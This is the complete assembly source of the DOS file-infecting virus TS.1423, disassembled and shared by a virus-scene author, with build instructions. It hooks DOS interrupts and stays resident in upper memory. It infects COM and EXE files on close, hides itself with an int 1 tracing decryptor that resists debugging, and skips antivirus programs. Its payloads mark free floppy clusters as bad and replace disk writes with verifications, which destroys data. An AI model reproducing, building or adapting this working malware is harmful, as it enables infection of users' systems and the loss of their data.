; TS.1423 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ; Virus disassembly by Tcp ; ; Virus : TS.1423 ; Author: Unknown ; Where : Spain ; ; This is a pretty curious virus i disassembled a few time ago, when 29A ; wasn't more than a project :) It's well programmed and its best feature ; is the encryption routine, based on tracing the code via int 1, which ; makes the virus decryption and disassembly quite difficult. About the ; rest of the virus, just a little mention about the UMB residency and the ; payloads (nothing special). I'd describe it as follows: ; ; þ Infects COM and EXE files on closing (3eh) ; þ Encrypted; uses a decryption routine via int 1 ; þ Thus, highly antidebugging :) ; þ It doesn't infect *AN*.* (Scan, TbScan...) ; þ Marks clusters as bad on floppies if the year is above 1995 ; þ On friday, if the year is above 1995, changes disk writes to disk ; verifications ; ; Btw... this source code was fully commented in spanish, but i'm too lazy ; to translate it and it's easy to understand, so i'll leave it uncommen- ; ted; if you have any doubt about it, look for me in #virus or e-mail me ; at tcp@cryogen.com. ; ; Compiling instructions: ; ; tasm /m ts1423.asm ; tlink ts1423.obj ; exe2bin ts1423.exe ts1423.com _bytes equ (header-start)+(_length-start)-(end_decr-start) _parag equ _bytes/16+1 ts1423 segment byte public assume cs:ts1423, ds:ts1423 org 0 start: call get_delta _mask db 0 int_1: xor byte ptr cs:[di],0aah mov bp,sp mov di,[bp] xor byte ptr cs:[di],0aah iret get_delta: pop si pushf push ds push es pushf xor ax,ax mov ds,ax mov ax,si inc ax mov ds:[0004],ax mov ds:[0006],cs mov bp,sp pushf xor byte ptr [bp-1],1 mov di,si add di,offset end_decr-2 popf mov ah,cs:[si] ; First byte, encrypted with aah ; Decrypted instruction ; ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ³ : db 29h,0eeh,3 ; sub si,3 -> offset int_1 db 21h,0d6h ; mov dx,si db 13h dw offset _length-offset end_decr ; mov cx,offset... db 2bh,0c6h dw offset end_decr ; add si,offset end_decr db 56h ; cld loop_1: db 84h,30h,24h ; xor cs:[si],ah ; Second routine db 0ech ; inc si db 48h,0fah ; loop loop_1 end_decr: db 37h ; popf -> trace off (int_1 inactive) mov si,dx cmp cs:[si+file_type],0 je com_file mov ax,cs add cs:[si+file_cs],ax mov ax,cs:[si+file_cs] add cs:[si+file_ss],ax com_file: mov bx,'TC' mov ax,'0.' int 21h or ax,ax jne no_resident jmp no_activation no_resident: cmp al,5 jb no_UMB mov ax,5800h int 21h push ax mov ax,5802h int 21h push ax xor dx,dx mov ax,5803h mov bx,1 int 21h jc UMB_error mov ax,5801h mov bx,81h int 21h jc UMB_error mov bx,_parag mov ah,48h int 21h jc UMB_error mov dx,ax UMB_error: pop bx xor bh,bh mov ax,5803h int 21h pop bx xor bh,bh mov ax,5801h int 21h mov ax,dx or ax,ax jnz mem_ok no_UMB: mov ax,es dec ax mov ds,ax mov bx,ds:[0003] sub bx,_parag+1 mov ah,4ah int 21h mov bx,_parag mov ah,48h int 21h mem_ok: mov es,ax dec ax mov ds,ax mov ah,2ah int 21h mov es:year,cl cmp cl,0cah ja y_1995 xor al,al y_1995: push ax mov word ptr ds:[0001],8 push si push cs pop ds xor di,di mov cx,offset _length rep movsb pop si mov dx,es mov ds,dx mov ax,3521h int 21h mov ds:ofs_int21,bx mov ds:seg_int21,es mov es,dx mov dx,offset int_21 mov ax,2521h int 21h pop ax cmp al,5 jne no_activation push es mov ax,3513h int 21h mov ds:ofs_int13,bx mov ds:seg_int13,es pop es mov dx,offset int_13 mov ax,2513h int 21h no_activation: pop es pop ds cmp cs:[si+file_type],0 je exec_com popf cli mov ss,cs:[si+file_ss] mov sp,cs:[si+file_sp] sti xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor si,si xor di,di xor bp,bp db 0eah file_ip dw 0 file_cs dw 0 exec_com: popf add si,offset bytes_com mov di,100h push di mov cx,3 rep movsb ret int_21: cmp ah,30h je get_OS cmp ah,57h je f_date cmp ah,3ch je open_functions cmp ah,5bh je open_functions cmp ah,3dh je open_functions cmp ah,6ch je open_functions cmp ah,3eh je close cmp ah,4bh je exec jmp_21: jmp dword ptr cs:ofs_int21 call_21: pushf call dword ptr cs:ofs_int21 int_ret: push bp mov bp,sp jc put_error and byte ptr [bp+6],0FEh pop bp iret put_error: or byte ptr [bp+6],1 pop bp iret get_OS: cmp al,'.' jne jmp_21 cmp bx,'TC' jne jmp_21 xor ax,ax iret f_date: or al,al jz jmp_21 xor al,al push cx push dx pushf call dword ptr cs:ofs_int21 jc error_g_date and cx,1fh cmp cx,1fh pop dx pop cx mov al,1 jnz jmp_jmp21 or cx,1fh jmp_jmp21: jmp jmp_21 error_g_date: pop dx pop cx jmp int_ret open_functions: call mark_bad call valid_name jc jmp_21 pushf call dword ptr cs:ofs_int21 jc int_ret mov cs:handle,ax jmp int_ret close: cmp cs:handle,bx jne jmp_21 pushf call dword ptr cs:ofs_int21 jc int_ret jmp infection exec: call valid_name jc jmp_jmp21_2 jmp infection jmp_jmp21_2: jmp jmp_21 infection: push ax push bx push cx push dx push si push di push ds push es push cs pop ds mov dx,offset file_name call get_drive mov ah,36h int 21h cmp ax,0ffffh je jmp_end_infect mul bx mul cx or dx,dx jnz space cmp ax,offset _length jae space jmp_end_infect: jmp end_infect space: mov ax,3524h int 21h mov cs:ofs_int24,bx mov cs:seg_int24,es push cs pop es mov dx,offset int_24 mov ax,2524h int 21h mov dx,offset file_name mov ax,4300h int 21h jc jmp_set_24 mov cs:file_attribs,cx xor cx,cx mov ax,4301h int 21h jnc open_file jmp_set_24: jmp set_24 open_file: mov ax,3d02h pushf call dword ptr cs:ofs_int21 jnc file_opened jmp set_attribs file_opened: mov bx,ax call get_datetime jc jmp_jmp_close call lseek_end jc jmp_jmp_close mov si,ax mov di,dx or dx,dx jnz valid_length cmp ax,offset _length jb jmp_jmp_close valid_length: call lseek_start jc jmp_jmp_close mov cx,1ch mov dx,offset header mov ah,3fh int 21h jc jmp_jmp_close push di mov di,dx cmp word ptr [di],'ZM' pop di jz exe_infect mov cs:file_type,0 sub si,3 mov cs:jmp_offset,si add si,offset _length+3 jc jmp_jmp_close mov si,dx mov di,offset bytes_com mov cx,3 cld rep movsb jmp exe_com exe_infect: mov cs:file_type,1 cmp cs:hdrsize,0 jne no_hdr_0 jmp_jmp_close: jmp jmp_close_file no_hdr_0: mov ax,cs:exe_sp mov cs:file_sp,ax mov ax,cs:relo_ss mov cs:file_ss,ax mov ax,cs:exe_ip mov cs:file_ip,ax mov ax,cs:relo_cs mov cs:file_cs,ax sub cs:file_ss,ax mov ax,cs:page_cnt cmp cs:part_pag,0 je no_sub dec ax no_sub: mov cx,200h mul cx add ax,cs:part_pag adc dx,0 cmp ax,si jne jmp_jmp_close cmp dx,di jne jmp_jmp_close push ax push dx add ax,offset _length adc dx,0 mov cx,200h div cx or dx,dx jz no_add inc ax no_add: mov cs:page_cnt,ax mov cs:part_pag,dx pop dx pop ax mov cx,10h div cx mov cs:exe_ip,dx sub ax,cs:hdrsize mov cs:relo_cs,ax sub cs:file_cs,ax mov cs:relo_ss,ax mov cs:exe_sp,offset f_stack call lseek_start jc jmp_close_file mov cx,1ch mov dx,offset header mov ah,40h int 21h jc jmp_close_file exe_com: call lseek_end jc jmp_close_file push es xor dx,dx mov es,dx mov ah,es:[046ch] or ah,ah jnz mask_no_0 mov ah,43h mask_no_0: mov cs:_mask,ah pop es mov cx,offset end_decr mov ah,40h int 21h jnc no_write_error jmp_close_file: jmp close_file no_write_error: mov ah,cs:_mask mov si,offset end_decr mov di,offset header mov cx,offset _length-offset end_decr cld loop_encrypt: lodsb xor al,ah mov [di],al inc di loop loop_encrypt mov cx,offset _length-offset end_decr mov dx,offset header mov ah,40h int 21h jc set_date cmp cs:file_type,1 je set_date call lseek_start jc set_date mov cx,3 mov dx,offset jmp_op mov ah,40h int 21h set_date: call set_datetime close_file: mov ah,3eh pushf call dword ptr cs:ofs_int21 set_attribs: mov dx,offset file_name mov cx,cs:file_attribs mov ax,4301h int 21h set_24: lds dx,dword ptr cs:ofs_int24 mov ax,2524h int 21h end_infect: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax mov cs:handle,0ffffh cmp ah,4bh je jmp_jmp21_3 clc jmp int_ret jmp_jmp21_3: jmp jmp_21 int_24: xor al,al iret int_13: cmp ah,3 jne no_write mov ah,4 no_write: jmp dword ptr cs:ofs_int13 get_datetime: push ax push cx push dx mov ax,5700h pushf call dword ptr cs:ofs_int21 jc no_infect mov cs:file_date,dx mov cs:file_time,cx and cx,1fh cmp cx,1fh je no_infect or cs:file_time,1fh jmp end_getdate no_infect: stc end_getdate: pop dx pop cx pop ax ret set_datetime: push ax push cx push dx mov dx,cs:file_date mov cx,cs:file_time mov ax,5701h pushf call dword ptr cs:ofs_int21 pop dx pop cx pop ax ret valid_name: cmp cs:handle,0ffffh je ready stc ret ready: push ax push si push di cmp ah,6ch je si_ok mov si,dx si_ok: cld mov di,offset file_name next_letter: lodsb cmp al,'a' jb no_lowercase cmp al,'z' ja no_lowercase sub al,20h no_lowercase: mov cs:[di],al inc di or al,al jnz next_letter cmp cs:[di-3],'MO' jne no_com_ext cmp cs:[di-5],'C.' je valid no_com_ext: cmp byte ptr cs:[di-6],'N' je no_valid cmp cs:[di-3],'EX' jne no_valid cmp cs:[di-5],'E.' je valid no_valid: stc valid: pop di pop si pop ax ret get_drive: mov di,dx xor dl,dl cmp byte ptr [di+1],':' jne default_drive mov dl,[di] and dl,1fh default_drive: ret lseek_end: mov ax,4202h xor cx,cx mov dx,cx int 21h ret lseek_start: mov ax,4200h xor cx,cx mov dx,cx int 21h ret mark_bad: cmp cs:year,0cah ja activation ret activation: push ax push bx push cx push dx push ds push es push di cmp ah,6ch jne no_extended mov dx,si no_extended: call get_drive mov al,dl dec al cmp al,0ffh jne with_drive mov ah,19h int 21h with_drive: cmp al,1 ja no_act mov byte ptr cs:file_attribs,al push cs pop ds mov al,byte ptr cs:file_attribs mov cx,1 xor dx,dx mov bx,offset header int 25h add sp,2 jc no_act mov al,byte ptr cs:file_attribs mov dx,[bx+16h] mov cs:file_time,dx mov dx,[bx+0eh] int 25h add sp,2 jc no_act mov cx,200h add cx,bx mov di,bx next_cluster: mov ax,[di] or al,[di+2] add di,3 cmp di,cx jae no_act or ax,ax jnz next_cluster sub di,3 mov [di],7ff7h mov byte ptr [di+2],0ffh mov al,byte ptr cs:file_attribs mov cx,1 int 26h add sp,2 jc no_act mov al,byte ptr cs:file_attribs add dx,cs:file_time int 26h add sp,2 no_act: pop di pop es pop ds pop dx pop cx pop bx pop ax ret bytes_com: file_sp dw 020cdh file_ss dw 0 file_type db 0 handle dw 0 jmp_op db 0e9h _length: jmp_offset dw 0 ofs_int21 dw 0 seg_int21 dw 0 ofs_int24 dw 0 seg_int24 dw 0 ofs_int13 dw 0 seg_int13 dw 0 year db 0 file_attribs dw 0 file_date dw 0 file_time dw 0 file_name db 65 dup (?) header: signature dw 0 part_pag dw 0 page_cnt dw 0 relo_cnt dw 0 hdrsize dw 0 minmem dw 0 maxmem dw 0 relo_ss dw 0 exe_sp dw 0 chksum dw 0 exe_ip dw 0 relo_cs dw 0 dw 0 dw 0 f_stack: ts1423 ends end start